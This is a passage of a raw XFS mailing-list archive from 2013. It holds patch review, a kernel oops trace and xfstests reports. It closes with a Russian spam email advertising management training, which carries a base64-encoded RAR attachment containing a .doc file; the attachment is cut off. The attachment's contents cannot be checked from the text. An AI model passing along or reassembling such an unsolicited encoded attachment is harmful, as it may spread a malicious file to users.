7ww8X1qn3T5ZVamH+R25Opy/E+SGUHH5NFjMtfboXQT2QT0srbmAlZ17qeo6OnmxSYWt d03Q== X-Received: by 10.224.0.147 with SMTP id 19mr4274286qab.98.1379971557276; Mon, 23 Sep 2013 14:25:57 -0700 (PDT) Received: from [192.168.0.129] (rrcs-97-79-21-178.se.biz.rr.com. [97.79.21.178]) by mx.google.com with ESMTPSA id w20sm6165640qax.11.1969.12.31.16.00.00 (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 23 Sep 2013 14:25:56 -0700 (PDT) Message-ID: <5240B1DE.5060802@gmail.com> Date: Mon, 23 Sep 2013 17:25:50 -0400 From: "Michael L. Semon" User-Agent: Mozilla/5.0 (X11; Linux i686; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Mark Tinguely CC: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH] [RFC] xfs: lookaside cache for xfs_buf_find References: <1378690396-15792-1-git-send-email-david@fromorbit.com> <52404D7F.1080308@sgi.com> X-ASG-Orig-Subj: Re: [PATCH] [RFC] xfs: lookaside cache for xfs_buf_find In-Reply-To: <52404D7F.1080308@sgi.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-qc0-f182.google.com[209.85.216.182] X-Barracuda-Start-Time: 1379971560 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140860 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 09/23/2013 10:17 AM, Mark Tinguely wrote: > On 09/08/13 20:33, Dave Chinner wrote: >> From: Dave Chinner >> >> CPU overhead of buffer lookups dominate most metadata intensive >> workloads. The thing is, most such workloads are hitting a >> relatively small number of buffers repeatedly, and so caching >> recently hit buffers is a good idea. >> > ... > > I think this needs more testing. > > I get the following panic in a loop test after a few (3-8) iterations: > > while true > do > tar zxpf xfs.tar > cd xfs > make > make modules > cd .. > rm -r xfs > done > > > BUG: unable to handle kernel paging request at ffff880831c1d218 > IP: [] _xfs_buf_find_lookaside+0x98/0xb0 [xfs] > PGD 1c5d067 PUD 85ffe0067 PMD 85fe51067 PTE 8000000831c1d060 > Oops: 0000 [#1] SMP DEBUG_PAGEALLOC > Modules linked in: xfs(O) e1000e exportfs libcrc32c ext3 jbd [last unloaded: xfs > ] > CPU: 0 PID: 23423 Comm: tar Tainted: G O 3.11.0-rc1+ #3 > task: ffff880837f087a0 ti: ffff880831c46000 task.ti: ffff880831c46000 > RIP: 0010:[] [] _xfs_buf_find_lookaside+0x9 > 8/0xb0 [xfs] > RSP: 0018:ffff880831c47918 EFLAGS: 00010286 > RAX: ffff880831c1d200 RBX: ffff8808372e0000 RCX: 0000000000000003 > RDX: 0000000000000011 RSI: 00000000000009c0 RDI: ffff8808372e0000 > RBP: ffff880831c47938 R08: ffff8808372e0000 R09: ffff8808376e8d80 > R10: 0000000000000010 R11: 00000000000009c0 R12: 00000000000009c0 > R13: 0000000000000010 R14: 0000000000000001 R15: 00000000000009c0 > FS: 00007fa4bc51f700(0000) GS:ffff88085bc00000(0000) knlGS:0000000000000000 > CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 > CR2: ffff880831c1d218 CR3: 000000082ed00000 CR4: 00000000000007f0 > Stack: > ffff880831c47938 ffff880831c47aa8 0000000000000010 ffff880834ab7900 > ffff880831c479b8 ffffffffa018a679 ffff8808372e00c0 ffff88082eed01a0 > 0000000000000029 ffff8808372e01f0 0000000000000000 000200015bfe1c68 > Call Trace: > [] _xfs_buf_find+0x159/0x520 [xfs] > [] xfs_buf_get_map+0x30/0x130 [xfs] > [] xfs_buf_read_map+0x26/0xa0 [xfs] > [] xfs_trans_read_buf_map+0x16d/0x4c0 [xfs] > [] xfs_imap_to_bp+0x6c/0x120 [xfs] > [] xfs_iread+0x75/0x2f0 [xfs] > [] ? inode_init_always+0xfb/0x1c0 > [] xfs_iget_cache_miss+0x5a/0x1e0 [xfs] > [] xfs_iget+0x13b/0x1c0 [xfs] > [] xfs_ialloc+0xbd/0x860 [xfs] > [] xfs_dir_ialloc+0x97/0x2e0 [xfs] > [] ? xfs_trans_reserve+0x308/0x310 [xfs] > > I got the same panic running xfstest 319 with the patch at: > http://oss.sgi.com/archives/xfs/2013-09/msg00578.html > once it hung on a xfs_buf lock before the panic. > > And these are the only tests that I threw at this patch. > > --Mark. I got similar issues in full runs of xfstests, but I'm having severe setup problems here and also had to adjust the patch for 32-bit x86. Thanks for reproducing the problem on 64-bit Linux. Michael From mlsemon35@gmail.com Mon Sep 23 16:34:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 04B597F4E for ; Mon, 23 Sep 2013 16:34:48 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id CA4538F804C for ; Mon, 23 Sep 2013 14:34:44 -0700 (PDT) X-ASG-Debug-ID: 1379972083-04bdf02f22138c3a0001-NocioJ Received: from mail-vb0-f43.google.com (mail-vb0-f43.google.com [209.85.212.43]) by cuda.sgi.com with ESMTP id mhsFTFG0LB8yUuKr (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 23 Sep 2013 14:34:43 -0700 (PDT) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.43 X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.43] Received: by mail-vb0-f43.google.com with SMTP id h11so2754720vbh.16 for ; Mon, 23 Sep 2013 14:34:42 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.43] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.43] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=vjNhNfs8w4VQsgGzR+qPXV5wLbd2Q60C/J9ep2F3EZs=; b=rCT1m7fn/8sfbHuClr8tlD8+AVqhMjvAp4glaOQ/KqmPJqNKzqGRUQTQI+LfmZdB+s EOCbFU+TKCEulTQ/MtYig/MqaTbUaxpSwDet0R1iHANNqNQtO6Oujgc9dxDBXHtMs7DL oNjZY1ouxlfKvau3Odn7zy5VzrIOZ+Vy6juWg64fV9V5TN5JblXsYB1DJS2PkLtu5kbD 6uAsRah4YXpLJU3f8Ezb3difg/LfUMc89tMP2+U3Lfy4gVJDooCPWm/mbEVsKHZqa1e1 P2UEtH73p+Gf/vzNlTtt3G3tG4SGYiVhnps0yYUXFcdRdT7FtKQaN9sVgz2zREZclVJc kgxg== X-Received: by 10.58.28.147 with SMTP id b19mr2282295veh.27.1379972082849; Mon, 23 Sep 2013 14:34:42 -0700 (PDT) Received: from [192.168.0.129] (rrcs-97-79-21-178.se.biz.rr.com. [97.79.21.178]) by mx.google.com with ESMTPSA id gr8sm18987604vdc.10.1969.12.31.16.00.00 (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 23 Sep 2013 14:34:42 -0700 (PDT) Message-ID: <5240B3F1.4040305@gmail.com> Date: Mon, 23 Sep 2013 17:34:41 -0400 From: "Michael L. Semon" User-Agent: Mozilla/5.0 (X11; Linux i686; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Mark Tinguely CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: fix node forward in xfs_node_toosmall References: <20130920220519.585903357@sgi.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix node forward in xfs_node_toosmall In-Reply-To: <20130920220519.585903357@sgi.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-vb0-f43.google.com[209.85.212.43] X-Barracuda-Start-Time: 1379972083 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140860 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 09/20/2013 06:05 PM, Mark Tinguely wrote: > Commit f5ea1100 cleans up the disk to host conversions for > node directory entries, but because a variable is reused in > xfs_node_toosmall() the next node is not correctly found. > If the original node is small enough (<= 3/8 of the node size), > this change may incorrectly cause a node collapse when it should > not. That will cause an assert in xfstest generic/319: > > Assertion failed: first <= last && last < BBTOB(bp->b_length), > file: /root/newest/xfs/fs/xfs/xfs_trans_buf.c, line: 569 > > Keep the original node header to get the correct forward node. This works for xfstests generic/319 on 32-bit x86. The xfstests run was okay, with a lockdep in the middle and a crash in xfs/300. Neither the lockdep nor the crash could reproduced by running individual tests one by one. generic/319 itself fails only because it couldn't find its _cleanup routine. I'm not sure if I'm using v1 or v2 of generic/319. The kernel is set to the commit just before the latest aio-next merge, which is causing severe problems here. xfsprogs was the latest production xfsprogs because my copy of xfstests is having trouble checking v4 XFS filesystems otherwise. Will test xfs_node_toosmall patch v2 once I get home. Thanks! Michael From tinguely@sgi.com Mon Sep 23 16:45:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 942037F3F for ; Mon, 23 Sep 2013 16:45:32 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5B0058F8049; Mon, 23 Sep 2013 14:45:32 -0700 (PDT) Message-ID: <5240B67B.3000305@sgi.com> Date: Mon, 23 Sep 2013 16:45:31 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: "Michael L. Semon" CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: fix node forward in xfs_node_toosmall References: <20130920220519.585903357@sgi.com> <5240B3F1.4040305@gmail.com> In-Reply-To: <5240B3F1.4040305@gmail.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/23/13 16:34, Michael L. Semon wrote: > On 09/20/2013 06:05 PM, Mark Tinguely wrote: >> Commit f5ea1100 cleans up the disk to host conversions for >> node directory entries, but because a variable is reused in >> xfs_node_toosmall() the next node is not correctly found. >> If the original node is small enough (<= 3/8 of the node size), >> this change may incorrectly cause a node collapse when it should >> not. That will cause an assert in xfstest generic/319: >> >> Assertion failed: first<= last&& last< BBTOB(bp->b_length), >> file: /root/newest/xfs/fs/xfs/xfs_trans_buf.c, line: 569 >> >> Keep the original node header to get the correct forward node. > > This works for xfstests generic/319 on 32-bit x86. The xfstests > run was okay, with a lockdep in the middle and a crash in xfs/300. > Neither the lockdep nor the crash could reproduced by running > individual tests one by one. > > generic/319 itself fails only because it couldn't find its > _cleanup routine. I'm not sure if I'm using v1 or v2 of > generic/319. > > The kernel is set to the commit just before the latest aio-next > merge, which is causing severe problems here. xfsprogs was the > latest production xfsprogs because my copy of xfstests is having > trouble checking v4 XFS filesystems otherwise. > > Will test xfs_node_toosmall patch v2 once I get home. > > Thanks! > > Michael > 319 v1 had the cleanup and removed in v2 because of feedback. IMO, it should be there even basically empty. --Mark. From e1s88hq93v45z0ao@ok.bc.ca Mon Sep 23 17:58:08 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.2 required=5.0 tests=FREEMAIL_FORGED_REPLYTO, HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4727E7F3F for ; Mon, 23 Sep 2013 17:58:08 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0BBCF8F804B for ; Mon, 23 Sep 2013 15:58:04 -0700 (PDT) X-ASG-Debug-ID: 1379977077-04bdf05387423590001-NocioJ Received: from mail.nevatuft.ru (neva-taft-4.ip.PeterStar.net [82.140.81.12]) by cuda.sgi.com with ESMTP id goyOLcPYRO3rrRZL for ; Mon, 23 Sep 2013 15:57:58 -0700 (PDT) X-Barracuda-Envelope-From: e1s88hq93v45z0ao@ok.bc.ca X-Barracuda-Apparent-Source-IP: 82.140.81.12 Received: from mail.nevatuft.ru (localhost [127.0.0.1]) by mail.nevatuft.ru (Postfix) with ESMTP id 85E768CEF1; Tue, 24 Sep 2013 02:54:27 +0400 (MSK) Received: from Unknown (unknown [111.172.154.97]) by mail.nevatuft.ru (Postfix) with ESMTPA id 4ACDD8CEDC; Tue, 24 Sep 2013 02:54:16 +0400 (MSK) Message-ID: <8203793EB42C4F4F864610E2277D0437@kymuzir> Reply-To: =?windows-1251?B?x+Ag9/LuIO/r4PL/8iDs5e3l5Obl8PMgKOfu?= =?windows-1251?B?7eAg7vLi5fLx8uLl7e3u8fLoKS4=?= From: =?windows-1251?B?x+Ag9/LuIO/r4PL/8iDs5e3l5Obl8PMgKOfu?= =?windows-1251?B?7eAg7vLi5fLx8uLl7e3u8fLoKS4=?= To: , , , Subject: =?windows-1251?B?yuDqIPDg4e7y4PL8IPEg6+jk5fDg7Ogg7O3l?= =?windows-1251?B?7ejp?= Date: Tue, 24 Sep 2013 00:57:49 +0200 X-ASG-Orig-Subj: =?windows-1251?B?yuDqIPDg4e7y4PL8IPEg6+jk5fDg7Ogg7O3l?= =?windows-1251?B?7ejp?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_12FE_01CEB8C1.1704EA00" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 14.0.8089.726 X-MimeOLE: Produced By Microsoft MimeOLE V14.0.8089.726 X-Virus-Scanned: ClamAV using ClamSMTP X-Barracuda-Connect: neva-taft-4.ip.PeterStar.net[82.140.81.12] X-Barracuda-Start-Time: 1379977078 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: 6c6d72aaf49e7ae0a82db3090c21f935-9205-unk X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140865 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_12FE_01CEB8C1.1704EA00 Content-Type: multipart/alternative; boundary="----=_NextPart_001_12FF_01CEB8C1.1704EA00" ------=_NextPart_001_12FF_01CEB8C1.1704EA00 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =D3=E2=E0=E6=E0=E5=EC=FB=E5 =EA=EE=EB=EB=E5=E3=E8! =F1 7 =CE=CA=D2=DF=C1=D0=DF =EC=FB =EE=F2=EA=F0=FB=E2=E0=E5=EC =E4=EB=FF = =C2=E0=F1 =E2=EE=E7=EC=EE=E6=ED=EE=F1=F2=FC =EB=E8=F7=ED=EE=E3=EE =E8 =EF= =F0=EE=F4=E5=F1=F1=E8=EE=ED=E0=EB=FC=ED=EE=E3=EE =F0=EE=F1=F2=E0!=20 =C5=F1=EB=E8 =C2=FB =F5=EE=F2=E8=F2=E5 =EF=EE=E2=FB=F1=E8=F2=FC =F1=E2=EE= =FE =EA=E2=E0=EB=E8=F4=E8=EA=E0=F6=E8=FE, =E0 =F2=E0=EA=E6=E5 =F3=F1=EE=E2= =E5=F0=F8=E5=ED=F1=F2=E2=EE=E2=E0=F2=FC =EF=F0=EE=F6=E5=F1=F1 =F3=EF=F0=E0= =E2=EB=E5=ED=E8=FF =F1=E2=EE=E8=EC =EE=F2=E4=E5=EB=EE=EC, =EF=F0=E5=E4=EF= =F0=E8=FF=F2=E8=E5=EC =E8=EB=E8 =EB=E8=F7=ED=FB=EC =E2=F0=E5=EC=E5=ED=E5=EC= ,=20 =E4=EE=E1=F0=EE =EF=EE=E6=E0=EB=EE=E2=E0=F2=FC =ED=E0 =ED=E0=F8 =F2=F0=E5= =ED=E8=ED=E3 =E2 =D1=E0=ED=EA=F2-=CF=E5=F2=E5=F0=E1=F3=F0=E3=E5 =AB=D1=EE= =E2=F0=E5=EC=E5=ED=ED=FB=E9 =FD=F4=F4=E5=EA=F2=E8=E2=ED=FB=E9 =F0=F3=EA=EE= =E2=EE=E4=E8=F2=E5=EB=FC=BB!=20 =CD=E0 =F2=F0=E5=ED=E8=ED=E3=E5 =C2=FB =ED=E0=F3=F7=E8=F2=E5=F1=FC: =DD=F4=F4=E5=EA=F2=E8=E2=ED=EE =EC=EE=F2=E8=E2=E8=F0=EE=E2=E0=F2=FC =EF=EE= =E4=F7=E8=ED=E5=ED=ED=FB=F5 =E8 =F0=E0=E7=F0=E5=F8=E0=F2=FC =EA=EE=ED=F4=EB= =E8=EA=F2=FB =E2 =EA=EE=EB=EB=E5=EA=F2=E8=E2=E5=20 =CF=F0=E8=EC=E5=ED=E8=F2=E5 =F0=E5=E7=F3=EB=FC=F2=E0=F2=E8=E2=ED=EE=E5 =F6= =E5=EB=E5=EF=EE=EB=E0=E3=E0=ED=E8=E5 =E8 =EF=EB=E0=ED=E8=F0=EE=E2=E0=ED=E8= =E5=20 =CF=EE=E9=EC=E5=F2=E5, =F7=E5=E3=EE =ED=E5 =F5=E2=E0=F2=E0=E5=F2 =E8=EC=E5= =ED=ED=EE =C2=E0=EC =E4=EB=FF =E1=EE=EB=E5=E5 =F3=F1=EF=E5=F8=ED=EE=E3=EE= =F0=F3=EA=EE=E2=EE=E4=F1=F2=E2=E0 =E8 =F0=EE=F1=F2=E0=20 =CD=E0=F3=F7=E8=F2=E5=F1=FC =E3=F0=E0=EC=EE=F2=ED=EE =E4=E5=EB=E5=E3=E8=F0= =EE=E2=E0=F2=FC =EF=EE=EB=ED=EE=EC=EE=F7=E8=FF =E8 =E4=F0. =D0=E5=E3=E8=F1=F2=F0=E8=F0=F3=E9=F2=E5=F1=FC, =E7=E2=EE=ED=E8=F2=E5 =E8 = =F3=E7=ED=E0=E2=E0=E9=F2=E5 =E1=EE=EB=FC=F8=E5: - =F1=EF=E1 - 6=F7-2 .. 5-8 -- =C7l ------=_NextPart_001_12FF_01CEB8C1.1704EA00 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=D3=E2=E0=E6=E0=E5=EC=FB=E5 =EA=EE=EB=EB=E5=E3=E8!
 
=F1 7 =CE=CA=D2=DF=C1=D0=DF =EC=FB =EE=F2=EA=F0=FB=E2=E0=E5=EC =E4=EB= =FF =C2=E0=F1 =E2=EE=E7=EC=EE=E6=ED=EE=F1=F2=FC =EB=E8=F7=ED=EE=E3=EE =E8= =EF=F0=EE=F4=E5=F1=F1=E8=EE=ED=E0=EB=FC=ED=EE=E3=EE=20 =F0=EE=F1=F2=E0!
=C5=F1=EB=E8 =C2=FB =F5=EE=F2=E8=F2=E5 =EF=EE=E2=FB=F1= =E8=F2=FC =F1=E2=EE=FE =EA=E2=E0=EB=E8=F4=E8=EA=E0=F6=E8=FE, =E0 =F2=E0=EA= =E6=E5 =F3=F1=EE=E2=E5=F0=F8=E5=ED=F1=F2=E2=EE=E2=E0=F2=FC=20 =EF=F0=EE=F6=E5=F1=F1 =F3=EF=F0=E0=E2=EB=E5=ED=E8=FF =F1=E2=EE=E8=EC =EE=F2= =E4=E5=EB=EE=EC, =EF=F0=E5=E4=EF=F0=E8=FF=F2=E8=E5=EC =E8=EB=E8 =EB=E8=F7= =ED=FB=EC =E2=F0=E5=EC=E5=ED=E5=EC,
=E4=EE=E1=F0=EE=20 =EF=EE=E6=E0=EB=EE=E2=E0=F2=FC =ED=E0 =ED=E0=F8 =F2=F0=E5=ED=E8=ED=E3 =E2= =D1=E0=ED=EA=F2-=CF=E5=F2=E5=F0=E1=F3=F0=E3=E5 =AB=D1=EE=E2=F0=E5=EC=E5=ED= =ED=FB=E9 =FD=F4=F4=E5=EA=F2=E8=E2=ED=FB=E9=20 =F0=F3=EA=EE=E2=EE=E4=E8=F2=E5=EB=FC=BB!
 
=CD=E0 =F2=F0=E5=ED=E8=ED=E3=E5 =C2=FB =ED=E0=F3=F7=E8=F2=E5=F1=FC:<= /DIV>
  1. =DD=F4=F4=E5=EA=F2=E8=E2=ED=EE =EC=EE=F2=E8=E2=E8=F0=EE=E2=E0=F2=FC= =EF=EE=E4=F7=E8=ED=E5=ED=ED=FB=F5 =E8 =F0=E0=E7=F0=E5=F8=E0=F2=FC =EA=EE= =ED=F4=EB=E8=EA=F2=FB =E2 =EA=EE=EB=EB=E5=EA=F2=E8=E2=E5=20
  2. =CF=F0=E8=EC=E5=ED=E8=F2=E5 =F0=E5=E7=F3=EB=FC=F2=E0=F2=E8=E2=ED=EE= =E5 =F6=E5=EB=E5=EF=EE=EB=E0=E3=E0=ED=E8=E5 =E8 =EF=EB=E0=ED=E8=F0=EE=E2=E0= =ED=E8=E5=20
  3. =CF=EE=E9=EC=E5=F2=E5, =F7=E5=E3=EE =ED=E5 =F5=E2=E0=F2=E0=E5=F2 =E8= =EC=E5=ED=ED=EE =C2=E0=EC =E4=EB=FF =E1=EE=EB=E5=E5 =F3=F1=EF=E5=F8=ED=EE= =E3=EE =F0=F3=EA=EE=E2=EE=E4=F1=F2=E2=E0 =E8=20 =F0=EE=F1=F2=E0=20
  4. =CD=E0=F3=F7=E8=F2=E5=F1=FC =E3=F0=E0=EC=EE=F2=ED=EE =E4=E5=EB=E5=E3= =E8=F0=EE=E2=E0=F2=FC =EF=EE=EB=ED=EE=EC=EE=F7=E8=FF =E8 =E4=F0.
  5.  
    =D0=E5=E3=E8=F1=F2=F0=E8=F0=F3=E9=F2=E5=F1=FC, =E7=E2=EE=ED=E8=F2=E5= =E8 =F3=E7=ED=E0=E2=E0=E9=F2=E5 =E1=EE=EB=FC=F8=E5:
     
    - =F1=EF=E1 - 6=F7-2 .. 5-8 -- =C7l
    ------=_NextPart_001_12FF_01CEB8C1.1704EA00-- ------=_NextPart_000_12FE_01CEB8C1.1704EA00 Content-Type: application/octet-stream; name="=?windows-1251?B?cHJpa3JlcGxlbmllICjv8O7j8C4pILkzLnJh?= =?windows-1251?B?cg==?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?cHJpa3JlcGxlbmllICjv8O7j8C4pILkzLnJh?= =?windows-1251?B?cg==?=" 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 